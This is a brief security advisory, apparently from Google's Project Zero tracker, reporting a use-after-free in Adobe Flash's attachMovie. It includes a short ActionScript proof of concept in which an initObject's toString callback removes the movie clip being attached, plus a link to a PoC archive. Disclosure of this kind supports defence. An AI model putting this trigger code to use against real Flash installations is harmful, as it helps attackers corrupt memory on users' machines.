Source: https://code.google.com/p/google-security-research/issues/detail?id=391&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in attachMovie due to the initObject. If the initObject contains an object that calls a method that deletes the movie clip that is being attached, a use-after-free occurs. A proof-of-concept is as follows:

n = {_quality : {toString : func}};
function func(){
	
	trace("hello");
	
	newResetButton.removeMovieClip();
	return "test";
	}
	
_root.attachMovie("myResetButton","newResetButton",200, n);

A sample fla and swf are attached.

Proof of Concept: 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37865.zip